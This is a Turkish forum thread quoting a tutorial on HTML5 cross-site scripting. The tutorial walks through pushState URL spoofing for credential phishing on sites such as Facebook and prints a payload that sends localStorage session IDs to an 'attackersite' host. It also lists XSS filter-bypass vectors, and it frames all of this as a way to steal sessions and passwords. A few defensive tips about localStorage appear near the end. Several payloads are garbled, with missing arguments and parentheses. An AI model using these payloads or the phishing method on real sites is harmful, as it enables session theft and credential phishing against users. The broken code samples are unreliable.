bakalım html 5'de xss nasıl şekillenecek :) merakla bekliyoruz.

ben yeni sitede #!/ kullandım ve her url değiştiğinde kontrole giriyor. Bu saldırıdn byle kurtulabilir.. Url değiştiriğinde test edecek. güzel konu. Yeni nesilde neler olacağını merak ediyorum :) çokk ilginç açıklar gelecektir eminim.

Alıntıdır PushState Kullanarak XSSHTML5 ile gelen history. pushState , bize gecmisimizi duzenleyebilme imkani sunuyor. AJAXwebsitelerinde kolayca gecmisi degistirerek URL'yi degistirmek icin kullanilmak uzere tasarlandi bu fonksiyon. PushState ile kullanicilar adres cubugunda gozuken URL'yi dokumani yenilemedendegistirebiliyor. Bazilarinizin aklina bu asamada ilginc fikirler gelmistir tahminimce :)Bu ozellik ile saldirgan bir kisi XSS kullanarak kurbanin bulundugu adresi degistirebilir. Asagidaki ornek linke tiklayin ve acigi kendiniz canli olarak gorebilirsiniz. Herzamanki gibi zararsizdir korkmayin :) Acik sadece HTML5 destekleyen yeni tarayicilarda calismaktadir. Ayrica Safari 5'te de pushState fonksiyonu calisiyor fakat tarayicinin guvenlik onlemleri nedeniyle injection yapilamiyor. Linki Firefox ya da Opera ile acmaniz gerekiyor cunku Google Chrome ve Internet Explorer'in XSS filtreleri izin vermiyor. Linkimize gelelim:Bu site acunetix sirketinin bizim gibi bugcularin aciklari denememiz icin olusturdugu bir sitedir. http://testasp.vulnweb.com/Search. asp?tfSearch="><script>var stateObj = ; history. pushState(stateObj, "page 2, "login. asp");</script>Linki acarken URL'ye dikkatlice bakin. Sayfanin degismeden URL'nin "login. asp" sayfasi seklindedegistigini goreceksiniz. Kullandigimiz kod:"><script>history. pushState ;</script>Yanlis anlasilmalari onlemek icin bir aciklama yapmam gerekiyor. Bu saldiri ile URL'nin tamamini farkli bir URL ile degil, ayni domain uzerinde farkli bir yol ile degistirebilirsiniz. Bu ne isimize yarar derseniz eger su sekilde asama asama anlatayim:1. http://facebook.com/tahribat/tbt/dosya?q=XSS gibi bir linkte XSS oldugunu dusunelim.2. Saldirgan kurbana gonderdigi pushState iceren XSS linki ile kurbanin URL'sini facebook.com/login. php seklinde degistirir. Bu, tarayici login. php sayfasini acmadigi halde adres cubugunun facebook.com/login. php gibi gorunmesini saglar. 3. Kurban linke tiklar ve icerigi gorebilmesi icin oturum acmasi gerektigini dusunur. Kurbanimiz fake facebook sayfalarindan haberdar oldugu icin hemen sayfanin kaynak kodlarina bakar fakat zararli hicbirseybulamaz cunku saldirganin URL'sine degil facebook.com/login. php kaynak kodlarina bakmis olur. 4. Kurban rahatca giris yapabilecegini dusunup "Kullanici Adi" "Sifre"yi girer ve saldirgan oturumu calar. Bu yontem ile "Phishing" saldirilarini basariyla gerceklesirebilirsiniz ve "Fake" olayina yepyeni bir bakis getirebilirsiniz. Local Storage Kullanarak XSS"LocalStorage" kullanici tarafli bir depolama mekanizmasidir ve JavaScript ile bu depolama sistemine erisilebilir. LocalStorage'in yarari ise cookie, flash nesneler gibi diger depolama seceneklerinden daha fazla alana sahip olmasidir. Buna ek olarak, cookielerin tam tersine veri tarayici tarafindan otomatik bir sekildeher bir istek ile birlikte gonderilmiyor. Sistemi ozetle anladigimiza gore simdi bu depolama sisteminde olusan zaafiyete bakalim.. XSS Ile Cookie'den Session ID Calma Islemi<script>document. write ;</script>XSS Ile LocalStorage Uzerinden Session ID Calma Islemi<script>document. write("<img src= "http://attackersite">cookie="+localStorage. getItem +"'>");</script>LocalStorage Cookieler icin kullandigimiz "HTTPOnly" islemi ile calismaz ve bu yuzden de HTTPOnly aktif olan cookieleri JavaScript ile alamazken LocalStorage'deki degerleri alabiliriz. LocalStorage Ile XSS<script>alert(localStorage. getItem </script>URL Scriptlet Ile LocalStorage Degeri Uretmekjavascript:localStorage. setItem ;URL Scriptlet Ile LocalStorage Degeri Almakjavascript alert ZararliKod localStorage. getItem ;JSON Ile URL scriptlet Yoluyla LocalStorage Degeri Uretmekjavascript:localStorage. setItem('fooName', JSON. stringify('data1:a,"data2:b, data3:c'));URL Scriptlet Yoluyla LocalStorage Sayisini Almakjavascript alert ZararliKod localStorage. length);Site Ile Iliskili Butun LocalStorage Verisini Silmekjavascript:localStorage. clear LocalStorage Ve Guvenligi Ile Ilgili Bilmeniz Gerekenler1. Oturum IDleri icin LocalStorage kullanmayin. HTTPOnly ve Secure flaglari ile Cookieleri kullanin.2. Eger bir sekilde cookieleri kullanamiyorsaniz, kullanici tarayiciyi kapattiginda butun veriler silinecek sekilde ayarlamak uzere LocalStorage kullanin.3. LocalStorage uzerindeki butun bilgiler saldirgan tarafindan degistirilip gorulebilecegi icin, bu depolama sisteminde cok onemli bilgiler saklamayin. Diger Bazi HTML5 XSS Vektorleri HTML5 ile sadece yukaridakiler degil daha bircok seyi yapmak mumkundur. Bazi XSS filtrelerini asmak icin asagida verecegim yeni HTML5 XSS vektorlerini kullanabilirsiniz. <input autofocus onfocus=alert > <select autofocus onfocus=alert ><textarea autofocus onfocus=alert ><keygen autofocus onfocus=alert ><input type="text" AUTOFOCUS onfocus=alert ><video src=1 onerror=alert ><audio src=1 onerror=alert > Kaynaklarhttp://michael-coates.blogspot.comhttp://samuli.hakoniemi. nethackerthedude. blogspot.comblog. kotowicz. nethttp://www.thespanner.co. uk -

Gelişen teknoloji ile beraber daha can alıcı açıklarda birlikte geliyor :) Tbt Dersimliler Derneği Başkanı :)